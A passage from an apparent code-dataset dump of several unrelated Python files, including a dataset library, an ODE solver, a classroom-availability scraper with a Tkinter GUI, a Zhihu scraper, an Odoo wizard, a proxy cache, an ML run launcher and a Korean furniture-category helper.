datasets\n self._length = None\n\n def __iter__(self) -> Iterator[Tuple[Any]]:\n yield from zip(*self._datasets)\n\n def __getitem__(self, index: int) -> Tuple[Any]:\n if index < 0 or len(self) <= index:\n raise IndexError('RandomAccessZip object index out of range')\n return tuple(d[index] for d in self._datasets)\n\n def __len__(self) -> int:\n if self._length is None:\n self._length = min(len(d) for d in self._datasets)\n return self._length\n\n\nclass Dataset:\n def __init__(self,\n dataset: Sequence[Any]) -> None:\n self._dataset = dataset\n self._length = None\n\n def __iter__(self) -> Iterator[Any]:\n yield from self._dataset\n\n def __getitem__(self, index: Union[int, slice]) -> Any:\n if isinstance(index, slice):\n start, stop, step = index.indices(len(self))\n return [self.get_example(i) for i in range(start, stop, step)]\n return self.get_example(index)\n\n def __len__(self) -> int:\n if self._length is None:\n self._length = self.get_length()\n return self._length\n\n def __add__(self, other: 'Dataset') -> 'ConcatDataset':\n return ConcatDataset(self, other)\n\n def get_example(self, i: int) -> Any:\n return self._dataset[i]\n\n def get_length(self) -> int:\n return len(self._dataset)\n\n def map(self, map_func: Callable[[Any], Any]) -> 'MapDataset':\n return MapDataset(self, map_func)\n\n def all(self) -> List[Any]:\n return list(self)\n\n def take(self, n: int) -> List[Any]:\n return list(islice(self, n))\n\n def first(self) -> Any:\n return next(iter(self))\n\n def save(self, filename: str) -> 'CacheDataset':\n path = Path(filename)\n if path.exists():\n print(f'Loading data from {filename}...')\n with path.open('rb') as f:\n cache = pickle.load(f)\n else:\n if not path.parent.exists():\n path.parent.mkdir(parents=True)\n print(f'Saving data to {filename}...')\n cache = list(self)\n with path.open('wb') as f:\n pickle.dump(cache, f)\n return CacheDataset(self, cache)\n\n @staticmethod\n def load(filename: str) -> 'Dataset':\n warnings.warn(\n 'lineflow.Dataset.load is deprecated. Please refer to '\n 'lineflow.load.',\n DeprecationWarning,\n stacklevel=2)\n return lineflow_load(filename)\n\n\nclass ConcatDataset(Dataset):\n def __init__(self, *datasets: List[Dataset]) -> None:\n assert all(isinstance(d, Dataset) for d in datasets)\n\n super().__init__(RandomAccessConcat(*datasets))\n\n\nclass ZipDataset(Dataset):\n def __init__(self, *datasets: List[Dataset]) -> None:\n assert all(isinstance(d, Dataset) for d in datasets)\n\n super().__init__(RandomAccessZip(*datasets))\n\n\nclass MapDataset(Dataset):\n def __init__(self,\n dataset: Dataset,\n map_func: Callable[[Any], Any]) -> None:\n assert callable(map_func)\n\n if isinstance(dataset, MapDataset):\n funcs = copy.deepcopy(dataset._funcs)\n funcs.append(map_func)\n processed_funcs = copy.deepcopy(dataset._processed_funcs)\n else:\n funcs = [map_func]\n processed_funcs = []\n\n self._funcs = funcs\n self._processed_funcs = processed_funcs\n\n if isinstance(dataset, Dataset):\n dataset = dataset._dataset\n\n super().__init__(dataset)\n\n def __iter__(self) -> Iterator[Any]:\n for x in self._dataset:\n for f in self._funcs:\n x = f(x)\n yield x\n\n def get_example(self, i: int) -> Any:\n x = self._dataset[i]\n for f in self._funcs:\n x = f(x)\n return x\n\n\nclass CacheDataset(MapDataset):\n def __init__(self,\n dataset: Dataset,\n cache: List[Any]) -> None:\n if isinstance(dataset, MapDataset):\n funcs = copy.deepcopy(dataset._funcs)\n processed_funcs = funcs + copy.deepcopy(dataset._processed_funcs)\n else:\n processed_funcs = []\n\n self._funcs = []\n self._processed_funcs = processed_funcs\n self._cache = cache\n self._length = len(self._cache)\n\n super(MapDataset, self).__init__(cache)\n\n\ndef lineflow_concat(*datasets: List[Dataset]) -> ConcatDataset:\n return ConcatDataset(*datasets)\n\n\ndef lineflow_zip(*datasets: List[Dataset]) -> ZipDataset:\n return ZipDataset(*datasets)\n\n\ndef lineflow_filter(\n predicate: Callable[[Any], bool],\n dataset: Dataset,\n lazy: bool = False) -> Union[Iterator[Any], List[Any]]:\n iterator = filter(predicate, dataset)\n if lazy:\n return iterator\n else:\n return list(iterator)\n\n\ndef lineflow_flat_map(\n map_func: Callable[[Iterable[Any]], Any],\n dataset: Dataset,\n lazy: bool = False) -> Union[Iterator[Any], List[Any]]:\n iterator = chain.from_iterable(map(map_func, dataset))\n if lazy:\n return iterator\n else:\n return list(iterator)\n\n\ndef lineflow_load(filename: str) -> Dataset:\n print(f'Loading data from {filename}...')\n with open(filename, 'rb') as f:\n dataset = pickle.load(f)\n return Dataset(dataset)\n","sub_path":"lineflow/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"561551055","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nFecha de creación: Fri Oct 23 22:30:39 2015\n\nCreado por: antalcides\n\"\"\"\n\"\"\"\nSolve\ny^(4) + (4/x)y^3 = 0\nwith the boundary conditions\ny'(0) = y(0) = 0\ny\"(1) = 0\ny'''(1) = 1\nand plot y versus x.\n\n\"\"\"\nfrom numpy import zeros,array\nfrom run_kut5 import *\nfrom newtonRaphson2 import *\nfrom printSoln import *\ndef initCond(u):# Initial values of [y,y’,y\",y\"’];\n# use ’u’ if unknown\n return array([0.0, 0.0, u[0], u[1]])\ndef r(u):\n# Boundary condition residuals-- see Eq. (8.7)\n r = zeros(len(u))\n X,Y = integrate(F,x,initCond(u),xStop,h)\n y = Y[len(Y) - 1]\n r[0] = y[2]\n r[1] = y[3] - 1.0\n return r\ndef F(x,y): # First-order differential equations\n F = zeros(4)\n F[0] = y[1]\n F[1] = y[2]\n F[2] = y[3]\n if x == 0.0: F[3] = -12.0*y[1]*y[0]**2\n else: F[3] = -4.0*(y[0]**3)/x\n return F\nx = 0.0 # Start of integration\nxStop = 1.0 # End of integration\nu = array([-1.0, 1.0]) # Initial guess for u\nh = 0.05 # Initial step size\nfreq = 1 # Printout frequency\nu = newtonRaphson2(r,u,1.0e-5)\nX,Y = integrate(F,x,initCond(u),xStop,h)\nprintSoln(X,Y,freq)\nfrom pylab import*\nplot(X,Y[:,0],'-or')\n#plot(X,Y[:,1],'ob')\n#legend(('Y0', 'Y1'))\ngrid(True)\n\n","sub_path":"py/ej1_ode_newtonRaphson2.py","file_name":"ej1_ode_newtonRaphson2.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"441132793","text":"# MINI PROJECT 4 START : 22.4.2019\nfrom Tkinter import *\nimport urllib2\nfrom bs4 import BeautifulSoup\nimport mysearchengine\nfrom ttk import Combobox\nimport ttk\n\nclass Classroom:\n def __init__(self,building_No,floor_No,room_No):\n\n self.building_No = building_No\n self.floor_No = floor_No\n self.room_No = room_No\n self.traffic_Score = {}\n\n\n def get_distance_from(self,another_class_obj):\n\n bS = int(self.building_No)\n fS = int(self.floor_No)\n rS = int(self.room_No)\n\n totalCloseness = (abs(bS-int(another_class_obj.building_No))*100)+(abs(fS-int(another_class_obj.floor_No))*200)+(abs(rS-int(another_class_obj.room_No))*50)\n if totalCloseness == 0:\n totalCloseness = 100\n\n return totalCloseness\n\n\n\n\n\nclass Building:\n def __init__(self,b_name):\n self.b_name = b_name\n self.classrooms = []\n\nclass Day:\n def __init__(self,d_name):\n self.d_name = d_name\n self.timeSlots = {}\n\nclass SearchResultItem:\n def __init__(self,Classroom,closeness_score):\n self.Classroom = Classroom\n self.availability_score = 0.0\n self.closeness_score = closeness_score\n self.available_slots = [] # set of hours\n\n def compute_availability_score(self,wanted_timeInterval,wanted_Day,classDict,dayDict):\n\n start = int(wanted_timeInterval.split(\"-\")[0].split(\":\")[0])\n end = int(wanted_timeInterval.split(\"-\")[1].split(\":\")[0])\n wanted_hours = []\n\n for i in range(end-start):\n t = str(start+i)+\":\"+\"00\"\n wanted_hours.append(t)\n\n\n counter = 0\n slots = []\n for i in classDict:\n if classDict[i] == self.Classroom:\n wantedClass = i\n break\n for hour in wanted_hours:\n if wantedClass in dayDict[wanted_Day].timeSlots[hour]:\n counter += 1\n slots.append(hour)\n\n self.available_slots = slots\n\n wantedClassAvailablity = 100*(counter*60)/(len(wanted_hours)*60.0)\n\n self.availability_score = wantedClassAvailablity\n\n return wantedClassAvailablity\n\n\n\n\n\n\nclass Searcher:\n def __init__(self):\n self.Classes_Dict = {}\n self.Classroom_Distances = {}\n self.Days_Dict = {}\n self.Buildings_Dict = {}\n\n\n def fetch(self,link):\n\n urlsource = urllib2.urlopen(link)\n contents = urlsource.read()\n\n raw_data = BeautifulSoup(contents, features=\"html.parser\")\n\n allschedule = []\n\n self.BusyClasses = {}\n\n\n\n for i in raw_data.find_all(\"tr\"):\n if \"ACAD BUILD\" in str(i):\n lst = str(i).split('span style=\"font-size:8pt;\">')\n lstt = []\n for m in lst:\n if \"\")[0]:\n lstt.append(m.split(\"\")[0].split(\",\"))\n allschedule.append(lstt)\n\n self.whatI_need = []\n for i in allschedule:\n classs = []\n days = i[-4][0].split(\"
    \\r\\n\")\n classs.append(days)\n\n hours = i[-3][0].split(\"
    \\r\\n\")\n classs.append(hours)\n\n room = i[-2][0].split(\"#\")[1].split(\"
    \\r\\n\")[0]\n classs.append([room])\n\n self.whatI_need.append(classs)\n\n\n for c in self.whatI_need:\n\n\n for eeachDay in c[0]:\n\n if len(c[0]) == 2 and len(c[1]) == 1:\n\n eachDay = eeachDay.strip()\n if eachDay != \"Saturday\":\n self.BusyClasses.setdefault(eachDay, {})\n self.BusyClasses[eachDay].setdefault(c[2][0], [])\n\n which_hours = []\n\n h = c[1][0].split(\"-\")\n h_1 = int(h[0].split(\":\")[0])\n h_2 = int(h[1].split(\":\")[0])\n total = (h_2 - h_1)\n for p in range(total):\n v = float(h_1 + p)\n which_hours.append(v)\n for v in which_hours:\n if v not in self.BusyClasses[eachDay][c[2][0]] and v < 19.0:\n self.BusyClasses[eachDay][c[2][0]].append(v)\n self.BusyClasses[eachDay][c[2][0]].sort()\n\n else:\n eachDay = eeachDay.strip()\n if eachDay != \"Saturday\":\n self.BusyClasses.setdefault(eachDay,{})\n self.BusyClasses[eachDay].setdefault(c[2][0],[])\n\n which_hours = []\n index = c[0].index(eeachDay)\n h = c[1][index].split(\"-\")\n h_1 = int(h[0].split(\":\")[0])\n h_2 = int(h[1].split(\":\")[0])\n total = (h_2-h_1)\n for p in range(total):\n v = float(h_1+p)\n which_hours.append(v)\n for v in which_hours:\n if v not in self.BusyClasses[eachDay][c[2][0]] and v<19.0:\n self.BusyClasses[eachDay][c[2][0]].append(v)\n self.BusyClasses[eachDay][c[2][0]].sort()\n\n for n in self.Classes_Dict:\n for ddd in self.BusyClasses:\n if n not in self.BusyClasses[ddd]:\n self.BusyClasses[ddd][n] = []\n\n for dday in c[0]:\n day = dday.strip()\n if day != \"Saturday\":\n day = Day(day)\n self.Days_Dict.setdefault(day.d_name,day)\n self.allTimeSlots = [09.0,10.0,11.0,12.0,13.0,14.0,15.0,16.0,17.0,18.0]\n for t in self.allTimeSlots:\n day.timeSlots[str(int(t))+\":00\"] = []\n\n\n for Number in c[2]:\n try:\n allNo = Number[:]\n bNo = Number[0]\n fNo = Number[1]\n rNo = Number[2:].split(\"\", self.roomComboboxClick)\n\n\n self.startLabel = Label(self.frame1,text=\"Start\")\n self.startCombobox = Combobox(self.frame1,width=6)\n self.startCombobox['values'] = [\"09:00\",\"10:00\",\"11:00\",\"12:00\",\"13:00\",\"14:00\",\"15:00\",\"16:00\",\"17:00\",\"18:00\"]\n self.startCombobox.current(0)\n\n self.endLabel = Label(self.frame1,text=\"End\")\n self.endCombobox = Combobox(self.frame1,width=6)\n self.endCombobox['values'] = [\"10:00\",\"11:00\",\"12:00\",\"13:00\",\"14:00\",\"15:00\",\"16:00\",\"17:00\",\"18:00\",\"19:00\"]\n self.endCombobox.current(9)\n\n self.dayLabel = Label(self.frame1,text=\"Day\",anchor = E)\n self.dayCombobox = Combobox(self.frame1)\n\n\n\n self.searchButton = Button(self.frame1,text=\"Search\",command= self.searchButtonC,width=8)\n\n self.treeview = ttk.Treeview(self.frame2)\n self.treeview['columns'] = ('Room', 'Traffic', 'Availablity %','Closeness','Overall Score')\n self.treeview.heading('Room', text='Room', anchor=CENTER)\n self.treeview.heading('Traffic', text='Traffic', anchor=CENTER)\n self.treeview.heading('Availablity %', text='Availablity %', anchor=CENTER)\n self.treeview.heading('Closeness', text='Closeness', anchor=CENTER)\n self.treeview.heading('Overall Score', text='Overall Score', anchor=CENTER)\n\n self.treeview.column('#00', anchor=W, minwidth=00, stretch=0, width=0)\n\n self.treeview.column('#01', anchor=W, minwidth=50, stretch=1, width=80)\n self.treeview.column('#02', anchor=W, minwidth=50, stretch=1, width=80)\n self.treeview.column('#03', anchor=W, minwidth=50, stretch=1, width=80)\n self.treeview.column('#04', anchor=W, minwidth=50, stretch=1, width=80)\n self.treeview.column('#05', anchor=W, minwidth=50, stretch=1, width=80)\n\n self.vsbar = Scrollbar(self.frame2, orient=VERTICAL)\n self.vsbar.config(command=self.treeview.yview)\n self.treeview.config(yscrollcommand=self.vsbar.set)\n\n\n\n # PACKING\n self.mainTitle.grid(row=0,column=0,sticky=EW)\n\n self.frame0.grid(row=1, column=0, sticky=E + W + N, pady= 10)\n self.frame1.grid(row=2, column=0, sticky=E + W + S,padx=5)\n self.frame2.grid(row=0, column=4, rowspan=4,pady=5,padx=5)\n\n self.urlLabel.grid(row=0, column=0)\n self.urlEntry.grid(row=0, column=1,sticky= E+W)\n\n self.colorLabel.grid(row=1,column=0, columnspan = 2, sticky=E,padx=(0,70),pady=5)\n self.fetchButton.grid(row=1,column=1,sticky=E,pady=5)\n\n self.filtersLabel.grid(row=2,column=0,padx=5)\n\n self.whereAmILabel.grid(row=0, column=0)\n self.whereAmILabelCombobox.grid(row=0, column=1)\n\n self.roomLabel.grid(row=1, column=0)\n self.roomCombobox.grid(row=1, column=1)\n\n self.startLabel.grid(row=2, column=0)\n self.startCombobox.grid(row=2, column=1,sticky=W)\n\n self.endLabel.grid(row=2, column=2,sticky=W,columnspan = 1)\n self.endCombobox.grid(row=2, column=3)\n\n self.dayLabel.grid(row=3, column=0)\n self.dayCombobox.grid(row=3, column=1)\n\n self.searchButton.grid(row=4, column=0,pady=(0,5))\n\n self.resultsTitle.grid(row=0,column=0,columnspan=2,sticky=E+W)\n self.treeview.grid(row=1, column=0,padx=(5,0),pady=5)\n self.vsbar.grid(row=1,column=1,sticky=S+N+W ,padx=(0,5),pady=5)\n\n def roomComboboxClick(self,event):\n try:\n building = self.whereAmILabelCombobox.get().split(\" \")[2]\n rooms = [room[1:] for room in self.SearcherObj.Classes_Dict if room[0] == building]\n rooms.sort()\n\n self.roomCombobox['values'] = rooms\n self.roomCombobox.current(0)\n\n except:\n pass\n\n def fetchButtonC(self):\n\n try:\n self.colorLabel.config(bg=\"yellow\")\n self.colorLabel.update()\n\n link = self.urlEntry.get()\n self.SearcherObj.fetch(link)\n buildings = [\"ACAD BUILD \"+i for i in self.SearcherObj.Buildings_Dict.keys()]\n buildings.sort()\n self.whereAmILabelCombobox['values'] = buildings\n self.whereAmILabelCombobox.current(0)\n self.roomComboboxClick(event=1)\n self.dayCombobox['values'] = self.SearcherObj.Days_Dict.keys()\n self.dayCombobox.current(0)\n\n self.colorLabel.config(bg=\"green\")\n except:\n pass\n\n def searchButtonC(self):\n\n try:\n whereAmI = (self.whereAmILabelCombobox.get()+self.roomCombobox.get()).split(\" \")[2]\n self.SearcherObj.compute_closeness_scores(whereAmI)\n\n self.SearcherObj.search(self.startCombobox.get()+\"-\"+self.endCombobox.get(),self.dayCombobox.get())\n\n self.SearcherObj.overall_score(self.dayCombobox.get())\n for i in self.treeview.get_children():\n self.treeview.delete(i)\n for r in self.SearcherObj.overall_scores:\n cls = r[1]\n\n self.treeview.insert('', 'end', values=[cls,\n round(self.SearcherObj.normalized_tScores[cls],4),\n round(self.SearcherObj.normalized_aScores[cls],4),\n round(self.SearcherObj.normalized_cScores[cls],4),\n r[0]])\n except:\n pass\n\ndef main():\n root = Tk()\n root.title(\"Empty Class for Sehirian\")\n root.geometry(\"766x500+490+50\")\n app = ECF_GUI(root)\n root.mainloop()\n\nmain()\n","sub_path":"EmptyClassroomFinderForSehirian.py","file_name":"EmptyClassroomFinderForSehirian.py","file_ext":"py","file_size_in_byte":17256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"418816703","text":"import os\nimport json\n\narr = os.listdir('./meme_data_2')\narr_result = []\nfor item in arr:\n print(item)\n if item != '.DS_Store':\n with open('./meme_data_2/'+ item, 'r') as image_file:\n arr_result.append({'image':'https://nielsezeka.github.io/data/meme_data_2/'+ item});\njson_string = json.dumps(arr_result)\nf = open(\"huge_pack_pexel.json\", \"a\")\nf.write(json_string)\nf.close()","sub_path":"data/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"211197148","text":"# -*- coding: utf-8 -*-\nfrom openerp.exceptions import Warning\nfrom openerp import models, fields, api\nfrom odoo import exceptions\n\nclass HrEmployeeUserAccessWizard(models.TransientModel):\n _name = 'employee.assign.user'\n\n notification = fields.Char('Notification')\n user_id = fields.Many2one('res.users','Users')\n\n @api.multi\n def action_assign_user(self):\n view_ref = self.env.ref('base.view_users_form')\n view_id = view_ref and view_ref.id or False,\n return {\n 'name': 'Assign Access For User',\n 'res_id': self.user_id.id,\n 'view_type': 'form',\n \"view_mode\": 'form',\n 'res_model': 'res.users',\n 'view_id':view_id,\n 'type': 'ir.actions.act_window',\n 'target': 'new',\n }\n\nHrEmployeeUserAccessWizard()","sub_path":"beta-dev1/biocare_field_modifier/wizard/assign_acesss_user.py","file_name":"assign_acesss_user.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"601029986","text":"for i in range(3):#0 1 2\n account = input(\"请输入账号\")\n pwd = int(input(\"请输入密码\"))\n if account != \"laowang\" or pwd != 123456:\n if i == 2:\n print(\"账号已经冻结\")\n else:\n print(\"重新输入\")\n else:\n num = int(input(\"请选择英雄 0-ADC 1-肉 2-法师\"))\n if num == 0:\n print(\"鲁班大师\")\n elif num == 1:\n print(\"陈咬金\")\n elif num == 2:\n print(\"王昭君\")\n else:\n print(\"I guest you are a single dog\")\n\n break#退出循环\n\n","sub_path":"10day/01-王者荣耀登录三次版本.py","file_name":"01-王者荣耀登录三次版本.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"386850724","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport os\r\n\r\nroot=Tk()\r\nmainframe = ttk.Frame(root, padding=\"10 10 12 12\")\r\nmainframe.grid(column=0, row=0, sticky=(N, W, E, S))\r\nmainframe.columnconfigure(0, weight=1)\r\nmainframe.rowconfigure(0, weight=1)\r\n\r\n\r\nfilename=StringVar() # Value saved here\r\nTrain=StringVar() # Value saved here\r\nTest=StringVar() # Value saved here\r\nRegression=StringVar() # Value saved here\r\nHeader=StringVar() # Value saved here\r\ndataStart=StringVar() # Value saved here\r\nOutput=StringVar() # Value saved here\r\ndataEnd=StringVar()\r\nWD=StringVar()\r\n\r\ndef search():\r\n path = filename.get()\r\n End = int(dataEnd.get())\r\n Start = int(dataStart.get())\r\n Resultspath = Output.get()\r\n isRegress = Regression.get()\r\n isHeader = Header.get()\r\n trainset = Train.get()\r\n testset = Test.get()\r\n Cwd = WD.get()\r\n Cutoffphq = [10]\r\n Balancing = ['up', 'down']\r\n if Cwd != \"here\":\r\n os.chdir(Cwd)\r\n clfModels = ['kNN','LR', 'ADA', 'RF', 'SVC', 'XGB', 'NN' ]\r\n regModels = ['kNN', 'LR', 'ADA', 'RF']\r\n if isRegress == \"no\":\r\n for i in Balancing:\r\n Bal = i\r\n for a in Cutoffphq:\r\n cuttoff = a\r\n for j in clfModels:\r\n model = j\r\n args = 'python analyzer2.py --filename {} --dataStart {} --dataEnd {} --resampleType {} --doFeatureSelection \"True\" --modelType {} --targetData -1 --cutoff {} --printResultHeader {} --optimizeFor f1 --Regression {} --Train {} --Test {} >> {} '.format(\r\n path, Start, End, Bal, model, cuttoff,isHeader, isRegress, trainset, testset, Resultspath)\r\n os.system(args)\r\n print('1 Iteration done')\r\n\r\n elif isRegress == \"yes\":\r\n for j in regModels:\r\n model = j\r\n args = 'python analyzer2.py --filename {} --dataStart {} --dataEnd {} --doFeatureSelection False --regModel {} --targetData -1 --printResultHeader {} --optimizeFor f1 --Train {} --Test {} >> {} '.format(\r\n path, Start, End, model, isHeader, trainset, testset, Resultspath)\r\n os.system(args)\r\n print('1 Iteration done')\r\n\r\n print('Run Completed')\r\n root.destroy()\r\n\r\n return ''\r\n\r\nttk.Entry(mainframe, width=30, textvariable=filename).grid(column=2, row=1)\r\nttk.Entry(mainframe, width=30, textvariable=Test).grid(column=2, row=2)\r\nttk.Entry(mainframe, width=30, textvariable=Train).grid(column=2, row=3)\r\nttk.Entry(mainframe, width=30, textvariable=dataStart).grid(column=2, row=4)\r\nttk.Entry(mainframe, width=30, textvariable=dataEnd).grid(column=2, row=5)\r\nttk.Entry(mainframe, width=30, textvariable=Header).grid(column=2, row=6)\r\nttk.Entry(mainframe, width=30, textvariable=Regression).grid(column=2, row=7)\r\nttk.Entry(mainframe, width=30, textvariable=Output).grid(column=2, row=8)\r\nttk.Entry(mainframe, width=30, textvariable=WD).grid(column=2, row=9)\r\n\r\nttk.Label(mainframe, text=\"filepath\").grid(column=1, row=1)\r\nttk.Label(mainframe, text=\"Testing Set(.csv)\").grid(column=1, row=2)\r\nttk.Label(mainframe, text=\"Training Set(.csv)\").grid(column=1, row=3)\r\nttk.Label(mainframe, text=\"dataStart (col of csv file)\").grid(column=1, row=4)\r\nttk.Label(mainframe, text=\"dataEnd (col of csv file)\").grid(column=1, row=5)\r\nttk.Label(mainframe, text=\"Print Header Tag for values in output file(True/False)\").grid(column=1, row=6)\r\nttk.Label(mainframe, text=\"Regression (yes/no)\").grid(column=1, row=7)\r\nttk.Label(mainframe, text=\"Output destination(.csv)\").grid(column=1, row=8)\r\nttk.Label(mainframe, text=\"Working Directory(input here for current dir)\").grid(column=1, row=9)\r\n\r\n\r\nttk.Button(mainframe, text=\"Run\", command=search).grid(column=2, row=13)\r\n\r\nroot.mainloop()","sub_path":"MachineLearning.py","file_name":"MachineLearning.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"25738494","text":"import redis\nimport time\nimport proxy\n\nr = redis.Redis(host='redis', port=6379)\n\ndef set_a_proxy(proxy):\n r.set('proxy', proxy, ex=60)\n\ndef get_a_proxy():\n try:\n proxy = r['proxy']\n return proxy, 'ok'\n except:\n return 'get proxy failed', 'failed'\n\ndef get_redis_proxy():\n proxy_url, status = get_a_proxy()\n if(status == 'ok'):\n return proxy_url\n else:\n a_proxy = proxy.get_a_proxy()\n set_a_proxy(a_proxy)\n print('set proxy succeed {}'.format(a_proxy))\n return a_proxy\n\nif __name__ == '__main__':\n print(get_redis_proxy())","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"495084445","text":"# title time ans_num foc_num site\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport time as tm\nimport re\n\nurls = ['https://www.zhihu.com/people/yan-xi-5-31/following/questions?page={}'.format(str(i)) for i in range(1, 22)]\nheaders = {\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'Cookie': 'aliyungf_tc=AQAAALlHnAa9hwYAgxkFajTTLlmNTUws; d_c0=\"AEBthFTRMA2PTl_q8JcaDUEOWBCASvcN_Fo=|1519394399\"; _xsrf=59a447e1-9a1f-4b04-b72a-46d1593e8b9c; q_c1=f20a23e1db6641b2af6c9ee3d1f65a8f|1519394399000|1519394399000; _zap=770526c5-761f-49c1-8d14-d04a42640566',\n 'Host': 'www.zhihu.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36'\n}\n\n\ndef get_info(url):\n response = requests.get(url, headers=headers)\n soup = BeautifulSoup(response.text, 'lxml')\n titles = soup.select('div.QuestionItem-title > a')\n times = soup.find_all(text=re.compile(r'\\d{4}-\\d{2}-\\d{2}'))\n ans_nums = soup.find_all(text=re.compile(\"个回答\"))\n foc_nums = soup.find_all(text=re.compile(\"个关注\"))\n sites = soup.select('div.QuestionItem-title > a')\n\n for title, time, ans_num, foc_num, site in zip(titles, times, ans_nums, foc_nums, sites):\n def f(all):\n sum = 0\n for i, a in enumerate(all):\n sum = sum + pow(1000, len(all) - i - 1) * int(a)\n return sum\n\n data = {\n 'title': title.get_text(),\n 'time': time,\n 'ans_num': f(re.findall(r'\\d+', ans_num)),\n 'foc_num': f(re.findall(r'\\d+', foc_num)),\n 'site': 'https://www.zhihu.com' + site.get('href')\n }\n print(data)\n tm.sleep(4)\n\nget_info('https://www.zhihu.com/people/yan-xi-5-31/following/questions?page=1')\n","sub_path":"code/zhihu.py","file_name":"zhihu.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"180610344","text":"#-*- coding:utf-8 -*-\n__author__ = 'sisobus'\nimport commands\nimport os\nimport json\n\nALLOWED_EXTENSIONS = set(['txt','pdf','png','jpg','JPG','jpeg','JPEG','gif','GIF','zip'])\n\ndef allowedFile(filename):\n return '.' in filename and filename.rsplit('.',1)[1] in ALLOWED_EXTENSIONS\n\ndef createDirectory(directoryName):\n if not os.path.exists(directoryName):\n command = 'mkdir %s'%directoryName\n ret = commands.getoutput(command)\n command = 'chmod 777 %s'%directoryName\n ret = commands.getoutput(command)\n\ndef get_image_path(real_image_path):\n ret = ''\n for t in real_image_path.lstrip().rstrip().split('/')[6:]: ret=ret+t+'/'\n return ret[:-1]\n\ndef get_shop_category_dictionary():\n d = {\n1:'거실가구',\n'거실가구':1,\n2:'소파',\n'소파':2,\n3:'소파테이블',\n'소파테이블':3,\n4:'사이드테이블',\n'사이드테이블':4,\n5:'TV스탠드',\n'TV스탠드':5,\n6:'거실수납장',\n'거실수납장':6,\n7:'거실조명',\n'거실조명':7,\n8:'거실카페트',\n'거실카페트':8,\n9:'주방가구',\n'주방가구':9,\n10:'식탁',\n'식탁':10,\n11:'의자',\n'의자':11,\n12:'수납장',\n'수납장':12,\n13:'소가구',\n'소가구':13,\n14:'기타',\n'기타':14,\n15:'침실가구',\n'침실가구':15,\n16:'침대',\n'침대':16,\n17:'매트리스',\n'매트리스':17,\n18:'옷장',\n'옷장':18,\n19:'수납장',\n'수납장':19,\n20:'화장대',\n'화장대':20,\n21:'침실조명',\n'침실조명':21,\n22:'침구류',\n'침구류':22,\n23:'소가구',\n'소가구':23,\n24:'카페트',\n'카페트':24,\n25:'기타',\n'기타':25,\n26:'서재가구',\n'서재가구':26,\n27:'책상/테이블',\n'책상/테이블':27,\n28:'사무용 의자',\n'사무용 의자':28,\n29:'책장',\n'책장':29,\n30:'수납장',\n'수납장':30,\n31:'소가구',\n'소가구':31,\n32:'기타',\n'기타':32,\n33:'유아-주니어가구',\n'유아-주니어가구':33,\n34:'침대',\n'침대':34,\n35:'매트리스',\n'매트리스':35,\n36:'옷장/서랍장',\n'옷장/서랍장':36,\n37:'수납장',\n'수납장':37,\n38:'책상',\n'책상':38,\n39:'책장',\n'책장':39,\n40:'소가구',\n'소가구':40,\n41:'기타',\n'기타':41,\n42:'욕실',\n'욕실':42,\n43:'세면대',\n'세면대':43,\n44:'욕실수납',\n'욕실수납':44,\n45:'수도꼭지',\n'수도꼭지':45,\n46:'도기',\n'도기':46,\n47:'욕실용품',\n'욕실용품':47,\n48:'욕실조명',\n'욕실조명':48,\n49:'기타',\n'기타':49,\n50:'제작가구',\n'제작가구':50,\n51:'주방가구',\n'주방가구':51,\n52:'붙박이장',\n'붙박이장':52,\n53:'현관장',\n'현관장':53,\n54:'화장실가구',\n'화장실가구':54,\n55:'기타',\n'기타':55,\n56:'인테리어 소품',\n'인테리어 소품':56,\n57:'페브릭',\n'페브릭':57,\n58:'테이블웨어',\n'테이블웨어':58,\n59:'홈데코',\n'홈데코':59,\n60:'생활용품',\n'생활용품':60,\n61:'조명',\n'조명':61,\n62:'기타',\n'기타':62,\n63:'상업가구',\n'상업가구':63,\n64:'테이블',\n'테이블':64,\n65:'소파',\n'소파':65,\n66:'의자',\n'의자':66,\n67:'수납장',\n'수납장':67,\n68:'기타',\n'기타':68,\n69:'사무가구',\n'사무가구':69,\n70:'사무용 책상',\n'사무용 책상':70,\n71:'사무용 의자',\n'사무용 의자':71,\n72:'회의용 테이블',\n'회의용 테이블':72,\n73:'회의용 의자',\n'회의용 의자':73,\n74:'기타',\n'기타':74,\n }\n return d\n\ndef get_shop_category_list():\n shop_category_dict = get_shop_category_dictionary()\n l = []\n for i in xrange(1,75,1):\n cur = (str(i), shop_category_dict[i])\n l.append(cur)\n return l\n\ndef get_shop_category_1st_list():\n ret = [1,9,15,26,33,42,50,56,63,69]\n return ret\n\ndef get_shop_category_2nd_list():\n ret = []\n shop_category_1st_list = get_shop_category_1st_list()\n for i in xrange(1,75,1):\n if i in shop_category_1st_list:\n continue\n ret.append(i)\n return ret\n\ndef get_shop_category_tree():\n shop_category_1st_list = get_shop_category_1st_list()\n ret = [ [] for i in xrange(len(shop_category_1st_list))]\n ret[0] = [ i for i in 